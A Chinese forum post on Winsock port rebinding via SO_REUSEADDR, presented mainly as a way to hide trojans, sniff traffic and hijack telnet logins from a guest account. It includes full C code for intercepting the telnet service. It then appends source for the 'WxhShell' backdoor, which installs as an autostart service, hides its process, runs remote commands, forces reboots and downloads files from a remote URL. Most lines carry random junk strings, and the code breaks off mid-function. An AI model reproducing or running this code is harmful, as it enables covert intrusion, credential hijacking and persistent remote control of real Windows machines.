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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6^L4wd7)  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); F?LTWm  
7@.UkBOx  
  saddr.sin_family = AF_INET; XG5mfKMt+  
%rz.>4i)(  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); wec |~Rc-  
((U-JeFW   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !2('Cq_^  
A@@Z?t.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >^@/Ba$h  
S*o%#ZJN  
  这意味着什么?意味着可以进行如下的攻击: &oWdBna"_  
FS%Xq-c  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 )ow|n^D($M  
\pzqUTk  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .[-d( #l{l  
X9f!F2x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :VPZGzK4  
B6gSt3w.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =NH p%|  
* Yr)>;^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #^- U|~,  
Z[baQO  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 iBy:HH  
#:v e3gWl  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @l0#C5(:  
oEE*H2l\  
  #include "28b&pm  
  #include A|#9  
  #include fPs' A  
  #include    i#t)tM"  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,X&lVv#  
  int main() ;}b.gpG  
  { a;Q6S  
  WORD wVersionRequested; 7_WD)Y2yS  
  DWORD ret; \: H&.VQ"  
  WSADATA wsaData; H|4O`I;~(  
  BOOL val; [s-Km/  
  SOCKADDR_IN saddr; ZZf-c5 g  
  SOCKADDR_IN scaddr; *5k" v"NM(  
  int err; ?Sj3-*/?  
  SOCKET s; C>q,c3s5  
  SOCKET sc; p/B&R@%  
  int caddsize; /jQW4eW0  
  HANDLE mt; 9-Bp=M  
  DWORD tid;   1!"0fZh9U  
  wVersionRequested = MAKEWORD( 2, 2 ); 0/d+26lR  
  err = WSAStartup( wVersionRequested, &wsaData ); +B$ o8V  
  if ( err != 0 ) { u@\]r 1  
  printf("error!WSAStartup failed!\n"); [XWY-q#Gg  
  return -1; $srb!&~_>  
  } lzz rzx^  
  saddr.sin_family = AF_INET; 'dYjbQ}~;  
   "VxZnT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 , ;L  
R9o3T)9V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `s (A&=g\  
  saddr.sin_port = htons(23); Ycypd\q/  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) klduJ T >  
  { OPR+K ?  
  printf("error!socket failed!\n"); xmxfXW  
  return -1; GwHMXtj4  
  } $d M: 5y  
  val = TRUE; 9^Q:l0|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~d :Z |8  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5 T1M:~u i  
  { h V@C|*A  
  printf("error!setsockopt failed!\n"); wkK61a h6  
  return -1; m5lMh14E  
  } $:kG>R@\t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Jw'%[(q Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :B?XNo  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |'WaBy1  
YB/A0J  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) OJ ng  
  { [H-,zY  
  ret=GetLastError(); uBI?nv,  
  printf("error!bind failed!\n"); R9Wh/@J]  
  return -1; i|PQNhUe  
  } mAh0xgm  
  listen(s,2); f>i6f@  
  while(1) Ym+k \h  
  { w}VS mt$F  
  caddsize = sizeof(scaddr); n<6p0w  
  //接受连接请求 l$D]*_ jc,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); v]|^.x:  
  if(sc!=INVALID_SOCKET) ItGi2'}  
  { _y&m4Vuu  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i,NU%be  
  if(mt==NULL) z5-vx`  
  { z"8%W?o>  
  printf("Thread Creat Failed!\n"); w(pLU$6X  
  break; 8MgoAX,p  
  } ) Q\nR`k  
  } !0:uM)_k  
  CloseHandle(mt); GGk.-Ew@  
  } vwDnz /-  
  closesocket(s); l`8S1~j  
  WSACleanup(); \tTZ N  
  return 0; 8qL*Nf  
  }   /gh=+;{  
  DWORD WINAPI ClientThread(LPVOID lpParam) @ROMHMd}  
  { $wUFHEl  
  SOCKET ss = (SOCKET)lpParam; !qPVC\l  
  SOCKET sc; b[,J-/;JNL  
  unsigned char buf[4096]; 44 ,:@  
  SOCKADDR_IN saddr; 8#NtZ  
  long num; Ovh  
  DWORD val; 62K7afH  
  DWORD ret; {#N](yUm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 O_aZ\28};C  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /,dcr*  
  saddr.sin_family = AF_INET; (3YCe{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); |SC^H56+  
  saddr.sin_port = htons(23); @sRRcP~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3a #2 }  
  { $}&Y$w>S  
  printf("error!socket failed!\n"); =4cK9ac  
  return -1; ;n_|t/=  
  } YL \d2  
  val = 100; DJ;il)^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KB49~7XjQ@  
  { s*{l}~fPkW  
  ret = GetLastError(); v'uWmL7C  
  return -1; >2l1t}"\  
  } %Cbqi.iuQ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /tI8JXcUK  
  { Cm g(# $ X  
  ret = GetLastError(); asqbLtQ  
  return -1; r'xZF~}k"~  
  } *4#)or  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Wr H7tz  
  { p`:hY`P  
  printf("error!socket connect failed!\n"); -(9>{!",J  
  closesocket(sc); 7Y T%.ID  
  closesocket(ss); ^6j: lL  
  return -1; mn;;wp  
  } (UWWULV  
  while(1) v3!oY t:l  
  { 1'DD9d{ qN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y}5V3)P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nNJU@<|{*  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .lnyn|MVb  
  num = recv(ss,buf,4096,0); rOd<nP^`\  
  if(num>0) y J*`OU#  
  send(sc,buf,num,0); x0 1n  
  else if(num==0) [.Vy  
  break; d-Vttxa6  
  num = recv(sc,buf,4096,0); Xkc y~e  
  if(num>0) &nkYJi(!  
  send(ss,buf,num,0); 4FURm@C6  
  else if(num==0) dbM~41C6  
  break;  h>\T1PM  
  } ZDEz&{3U;  
  closesocket(ss); F]]1>w*/0  
  closesocket(sc); kt?G\H!}  
  return 0 ; EH{m~x[Ei  
  } AyHhq8Y  
"ee:Z_Sz  
2F* spu  
========================================================== pu#h:nb>88  
4/UY*Us&  
下边附上一个代码,,WXhSHELL Xg+Eeg#  
MLwh&I9)  
========================================================== !9A6DWAE$  
ROcI.tL  
#include "stdafx.h" q?} /q  
3 RB+  
#include <stdio.h> v2=Iqo  
#include <string.h> E4;vC ?K{  
#include <windows.h> |f5WN&c  
#include <winsock2.h>  I/YBL  
#include <winsvc.h> %N5gQXg  
#include <urlmon.h> $ 9bIUJ  
We%HdTKT  
#pragma comment (lib, "Ws2_32.lib") U9w0kcUw#J  
#pragma comment (lib, "urlmon.lib") <Y%km[Mh  
t~vOm   
#define MAX_USER   100 // 最大客户端连接数 dy/\>hu  
#define BUF_SOCK   200 // sock buffer =' %r"_`}  
#define KEY_BUFF   255 // 输入 buffer Xwz9E!m  
\dvzL(,  
#define REBOOT     0   // 重启 Y9V%eFY5E  
#define SHUTDOWN   1   // 关机 B=dF\.&Z  
`)5,!QPQ7u  
#define DEF_PORT   5000 // 监听端口 h8 Wv t's  
sVXIR  
#define REG_LEN     16   // 注册表键长度 r?cDyQE  
#define SVC_LEN     80   // NT服务名长度 O7<--  
kyV!ATL1F  
// 从dll定义API ?\ Fo|__  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HC1jN8WDY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J)R2O{z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E2.@zY|:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sKE7U>mz|  
* AsILK0  
// wxhshell配置信息 *[XVkt`H  
struct WSCFG { j&6O 1  
  int ws_port;         // 监听端口 aTi2=HL=S  
  char ws_passstr[REG_LEN]; // 口令 ".0~@W0  
  int ws_autoins;       // 安装标记, 1=yes 0=no YoC{ t&rY  
  char ws_regname[REG_LEN]; // 注册表键名 Oe#*-  
  char ws_svcname[REG_LEN]; // 服务名 >.sdLA Si  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~vL7$-:  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R0 yPmh,{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 lI,lR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;Gf,I1d}{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |A .U~P):  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aC!e#(q  
U2hPsF4f  
}; ucP"<,a  
JXT%@w>I  
// default Wxhshell configuration mBAI";L3  
struct WSCFG wscfg={DEF_PORT, /R/\>'{E&c  
    "xuhuanlingzhe", B7'rbc'  
    1, %R?B=W7 ;Q  
    "Wxhshell", MKdS_&F;~  
    "Wxhshell", G 51l_  
            "WxhShell Service", , ZisJksk  
    "Wrsky Windows CmdShell Service", v d{`*|x  
    "Please Input Your Password: ", &XvSAw+D@  
  1, !sTOo  
  "http://www.wrsky.com/wxhshell.exe", (ncm]W  
  "Wxhshell.exe" HQ187IwpTm  
    }; iY~.U`b`  
$Gy&  
// 消息定义模块 {zck Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -(oFO'Lbg  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m2{DLw".  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  L- '{   
char *msg_ws_ext="\n\rExit."; . X:  
char *msg_ws_end="\n\rQuit."; >$/<~j]  
char *msg_ws_boot="\n\rReboot..."; W5)R{w0`GD  
char *msg_ws_poff="\n\rShutdown..."; 6@rebe!&=  
char *msg_ws_down="\n\rSave to "; /r8'stRzv  
`] fud{  
char *msg_ws_err="\n\rErr!"; eb#yCDIC   
char *msg_ws_ok="\n\rOK!"; ',_E;(  
B2kKEMdGg  
char ExeFile[MAX_PATH]; $~;h}I  
int nUser = 0; `GpOS_;  
HANDLE handles[MAX_USER]; n)<S5P?  
int OsIsNt; |_h$}~ ;  
@H83Ad  
SERVICE_STATUS       serviceStatus; ^ UDNp.6k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |T; ]%<O3E  
m)1+D"z  
// 函数声明 swTur  
int Install(void); uHQf<R$:  
int Uninstall(void); \3hj/   
int DownloadFile(char *sURL, SOCKET wsh); Gi+ZI{)  
int Boot(int flag); rlpbLOG`  
void HideProc(void); H6oU Ne  
int GetOsVer(void); m>:zwz< ;  
int Wxhshell(SOCKET wsl); 6Trtulm  
void TalkWithClient(void *cs); yQ03&{#  
int CmdShell(SOCKET sock); F,.dC&B  
int StartFromService(void); @ L=dcO{r  
int StartWxhshell(LPSTR lpCmdLine); uD0<|At/  
/QW-#K|S&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u}0U!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a W9_[#z5  
}od5kK;  
// 数据结构和表定义 3;'RF#VL  
SERVICE_TABLE_ENTRY DispatchTable[] = X~VJO|k pz  
{ 05ZF>`g*  
{wscfg.ws_svcname, NTServiceMain}, +M{A4nYY|1  
{NULL, NULL} Hs#q 7  
}; L#~z#  
T!YfCw.HZ  
// 自我安装 Pw|J([  
int Install(void) t,IQ|B&0  
{ >g+e`!;6  
  char svExeFile[MAX_PATH]; >"|"Gy (  
  HKEY key; A>Y#-e;<d  
  strcpy(svExeFile,ExeFile); 17ol %3 M  
x@Ze%$'  
// 如果是win9x系统,修改注册表设为自启动 ,&ld:v?~  
if(!OsIsNt) { Naa "^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A>B_~=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;Ob`B@!=b  
  RegCloseKey(key); OaF[t*]D3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I=c}6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !g2 ~|G  
  RegCloseKey(key); !WgVk7aP`  
  return 0; g+pj1ycw/  
    } N6<G`k,  
  } )+dd  
} =2&Sw(6j  
else { @E !`:/k  
\wb0%> 0  
// 如果是NT以上系统,安装为系统服务 ;0JK>c ]#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); TO]7%aB  
if (schSCManager!=0) ~fz9AhU8  
{ =67tQx58  
  SC_HANDLE schService = CreateService }pOJM &I  
  ( 'nP;IuMP  
  schSCManager, _@A%t&l  
  wscfg.ws_svcname, TYu(;~   
  wscfg.ws_svcdisp, Scz/2vNi`  
  SERVICE_ALL_ACCESS, jr3FDd]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q6AL}9]9  
  SERVICE_AUTO_START, Br}0dha3E  
  SERVICE_ERROR_NORMAL, b Sm*/Q  
  svExeFile, ){FXonVP  
  NULL, ]MaD7q>+R  
  NULL, mNdEn<W  
  NULL, $(N+E,XB  
  NULL, 4VI'd|Ed  
  NULL 1 R,?kUa  
  ); ",>,t_J  
  if (schService!=0) <:!;79T\  
  { K['Gp>l  
  CloseServiceHandle(schService); ;Sw % t(@  
  CloseServiceHandle(schSCManager); g?> V4WF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f6U i~  
  strcat(svExeFile,wscfg.ws_svcname); bc%N !d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y:KIaYkk  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); HE.YfD)  
  RegCloseKey(key); =BVBCh  
  return 0; 4u+4LB*  
    } _eg&j  
  } !UF (R^  
  CloseServiceHandle(schSCManager); <}n"gk1is  
} bTJ l  
} z z2'h>  
' "I-! +  
return 1; {/Qg4pc!  
} 0;n}{26a  
L3|~ i&k  
// 自我卸载 Rw]lW;EN<  
int Uninstall(void) L`n Ma   
{ MwO`DrV  
  HKEY key; iVAAGZ>am  
6  5>}Q.p  
if(!OsIsNt) { U "kD)\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %}1v-z  
  RegDeleteValue(key,wscfg.ws_regname); M) Z3q  
  RegCloseKey(key); u~\l~v^mj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (^9dp[2  
  RegDeleteValue(key,wscfg.ws_regname); 1b`WzoJgH  
  RegCloseKey(key); .xV^%e?H  
  return 0; ]mdO3P  
  } ql2O%B.6?  
} 2YhtD A  
} N5jJ,iz  
else { 1 TA\6a}  
%mr6p}E|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Io\tZXB  
if (schSCManager!=0) _8ubo\M~  
{ ZxU3)`O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C{2y*sx  
  if (schService!=0) EB2 5N~7  
  { &T2qi'  
  if(DeleteService(schService)!=0) { }KFM8CbS  
  CloseServiceHandle(schService); cd:VFjT  
  CloseServiceHandle(schSCManager); >NjgLJh  
  return 0; W'}^m*F  
  } zot_ jSV  
  CloseServiceHandle(schService); )Oix$B!-  
  } !7y:|k,ac  
  CloseServiceHandle(schSCManager); Q5>]f/LD  
} &hSF  
} 6y   
(U^f0wJg  
return 1; <nbc RO.  
} .$N8cYu0  
2'5u}G9  
// 从指定url下载文件 W $EAo+V  
int DownloadFile(char *sURL, SOCKET wsh) H:!pFj  
{ 6'6,ySo]  
  HRESULT hr; Wk-jaz  
char seps[]= "/"; -cs$E2 -  
char *token; ^_!2-QY.~  
char *file; z%44@TP  
char myURL[MAX_PATH]; }e0>Uk`[  
char myFILE[MAX_PATH]; cByUP#hW  
b2G1@f.U  
strcpy(myURL,sURL); [28Vf"#]  
  token=strtok(myURL,seps); BfdS3VrZ/  
  while(token!=NULL) 53O}`xX!6  
  { se`^g ,]P  
    file=token; MHF7hk ps}  
  token=strtok(NULL,seps); b_>x;5k  
  } TDZ p1zpXb  
bPUldkB:  
GetCurrentDirectory(MAX_PATH,myFILE); JYO("f  
strcat(myFILE, "\\");  #[yZP9  
strcat(myFILE, file); rkWiGiisM  
  send(wsh,myFILE,strlen(myFILE),0); 0W!S.]^1  
send(wsh,"...",3,0); #55_hY#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y:4 /06I  
  if(hr==S_OK) iNv"!'|  
return 0; zx`(ojfu  
else R&FO-{S  
return 1; @nxpcHj  
'-M9v3itC  
} /nzJ`d  
zp:EssO=Q  
// 系统电源模块 *r].EBJ\  
int Boot(int flag) )2: ,E  
{ 3eR c>^wh  
  HANDLE hToken; !(#d 7R  
  TOKEN_PRIVILEGES tkp; `tH :oP0=  
|0xP'(  
  if(OsIsNt) { <P0&!yN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %hN7K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gRg8D{  
    tkp.PrivilegeCount = 1; OSIf>1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]@ N::!m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^17i98w  
if(flag==REBOOT) { Z:.*fs5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h_\OtoRa  
  return 0; E3QyiW  
} /A1qTG=Br  
else { %z"n}|%!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^|ul3_'?  
  return 0; :YM1p&|fS  
} ujh`&GiB+  
  } CMC9%uq  
  else { tqzr +  
if(flag==REBOOT) { LjPpnjU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H/$oGhvl  
  return 0; R/Te ;z  
} y@9ifFr  
else { oL -udH  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,Y`TP4Ip  
  return 0; b{a\j%  
} !n|4w$t"V  
} Uu~~-5  
/kNSB;  
return 1; }T&~DVM  
} "HtaJVp//  
i^}ib RQbN  
// win9x进程隐藏模块 I\P w`  
void HideProc(void) 9@wmngvM*Y  
{ m(CAXq-t  
{9XQ~t"m^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1-~sj)*k  
  if ( hKernel != NULL ) lX/:e=  
  { X.[8L^ldh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  |Fe*t  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .05x=28n%  
    FreeLibrary(hKernel); AYv7- !Yk  
  } gb}>xO  
`qhZZ{s)1U  
return; )}1S `*J/O  
} w:/QB-`%  
T[%@B"  
// 获取操作系统版本 zszx~LSvIT  
int GetOsVer(void) vQmqYyOc2  
{ MR/gLm(8(  
  OSVERSIONINFO winfo; XvIY=~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~'0W(~Q8  
  GetVersionEx(&winfo); %a|m[6+O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lK3{~ \J-  
  return 1; Eg4_kp0Lq  
  else O6 n]l  
  return 0; \?"p]&2UcB  
} hE;BT>_dn  
MS;^@>|wj  
// 客户端句柄模块 U:uF rb,  
int Wxhshell(SOCKET wsl) I 8VCR8q  
{ RL b o  
  SOCKET wsh; PG@6*E  
  struct sockaddr_in client; e`zCz`R  
  DWORD myID; ~2[mZias  
$lb$<  
  while(nUser<MAX_USER) Z4369  
{  0X}0,  
  int nSize=sizeof(client); F&a)mpFv3c  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w]O,xO  
  if(wsh==INVALID_SOCKET) return 1; d$:LUxM#  
eDY)i9"W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zo:NE0 0  
if(handles[nUser]==0) $y,tR.5.)[  
  closesocket(wsh); c{[lT2yxU  
else ?<1~KLPMhY  
  nUser++; @0-vf>e3-  
  } ,M=s3D8C  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =)nJ'}x  
*+_+Z DU  
  return 0; f"t+r /d  
} L u1pxL  
96i #  
// 关闭 socket w#{S=^`}  
void CloseIt(SOCKET wsh) Wv]ODEd  
{ cFr `9A\-n  
closesocket(wsh); /i(R~7;?  
nUser--; ]nq/y AF%  
ExitThread(0); f0 kz:sZ9  
} ^u> fW[ "[  
#Ve@D@d[  
// 客户端请求句柄 z@v2t>@3k  
void TalkWithClient(void *cs) >DR$}{IV  
{ r0q?e`nsA  
+aN"*//i  
  SOCKET wsh=(SOCKET)cs; RaOLy \  
  char pwd[SVC_LEN]; A~H@0>1  
  char cmd[KEY_BUFF]; Y6m:d&p=}  
char chr[1]; ;*cCaB0u  
int i,j; a"^rOiXR{  
p\DSFB  
  while (nUser < MAX_USER) {  ^w_\D?  
f([d/  
if(wscfg.ws_passstr) { 1v 4M*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h !?rk|  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pd-I^Q3-  
  //ZeroMemory(pwd,KEY_BUFF); L| ;WE=  
      i=0; K9ek  
  while(i<SVC_LEN) { *z&hXYm  
dUv(Pu(.#  
  // 设置超时 yz=aJ v; H  
  fd_set FdRead; \LM.>vJ  
  struct timeval TimeOut; } ^2'@y!(  
  FD_ZERO(&FdRead); k|^`0~E  
  FD_SET(wsh,&FdRead); 5,?^SK|'x  
  TimeOut.tv_sec=8; hGRHuJ  
  TimeOut.tv_usec=0; TQth"Cv2:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]q/USVj{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WZ=$c]gG  
OoQLR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %DM0Z8P$B-  
  pwd=chr[0]; b4 Pa5 w  
  if(chr[0]==0xd || chr[0]==0xa) { Y]DC; ,  
  pwd=0; =yWdtBng  
  break; E] rBq_S  
  } Q 3/J @MC  
  i++; Hyi'z1  
    } +[}<u--  
%e:[[yq)G  
  // 如果是非法用户,关闭 socket HSVl$66  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *,28@_EwY  
} \2CEEs'  
G&08Qb ,N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L_o/fTz4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J,\e@  
=|dHD  
while(1) { z\$(@:{A  
V[n,fEPBr  
  ZeroMemory(cmd,KEY_BUFF); r1 b"ta  
fk!9` p'  
      // 自动支持客户端 telnet标准   -A zOujSS  
  j=0; *K BaKS  
  while(j<KEY_BUFF) { _fSBb<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ss_}@p ^  
  cmd[j]=chr[0]; =.w~qL  
  if(chr[0]==0xa || chr[0]==0xd) { h/6^>setz  
  cmd[j]=0; dsH*9t:z  
  break; LqNyi   
  } Wb[k2V  
  j++; Vcnc=ct  
    } X4{<{D`0t8  
#\_ 8y`{x  
  // 下载文件 t7Mq>rFB  
  if(strstr(cmd,"http://")) { 20}w . V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UmY{2 nzY  
  if(DownloadFile(cmd,wsh)) Vf<q-3q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lQEsa45  
  else ci/qm\JI<<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wJ7^)tTRF  
  } .(3ec/i4CF  
  else { J 5';Hb)  
(4Nj3x o  
    switch(cmd[0]) { ]k'^yc{5  
  XMdCQ=  
  // 帮助 qDU4W7|T`  
  case '?': { E(vO^)#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a=`] L`|N  
    break; aOS,%J^ ?  
  } \j5`6}zm  
  // 安装 K?r  
  case 'i': { 'GT^araz  
    if(Install()) +k~0&lZi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - Ry+WS=  
    else k>7bPR5Mw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fx>U2  
    break; e<*qaUI  
    } lfre-pS+  
  // 卸载 iJZNSRQJ}r  
  case 'r': { \KzJNCOT  
    if(Uninstall()) v/=\(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P|Gwt&  
    else Dh}(B$~Oz+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 841y"@*BY  
    break; AI Kz]J0;  
    } B\e*-:pq>  
  // 显示 wxhshell 所在路径 x^1d9Z  
  case 'p': { 9t6c*|60#n  
    char svExeFile[MAX_PATH]; |cgjn*a?M  
    strcpy(svExeFile,"\n\r"); 0zkMRBe  
      strcat(svExeFile,ExeFile); bX,#z,  
        send(wsh,svExeFile,strlen(svExeFile),0); .a7RGT3]m  
    break; k54\H.  
    } ^X}r ^  
  // 重启 #o7)eKeQ  
  case 'b': { .xWaS8f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |R _rfJh  
    if(Boot(REBOOT)) dH PvVe/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J"LLj*,0"  
    else { >}%#s`3W1_  
    closesocket(wsh); BQ)>}YHk  
    ExitThread(0); ES AX}uF  
    } [l3\0e6-/  
    break; -Dx3*ZhP  
    } K) fKL   
  // 关机 DXI4DM"15I  
  case 'd': { U|V,&RlbR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q,O_y<uw  
    if(Boot(SHUTDOWN)) Nr~!5XO  
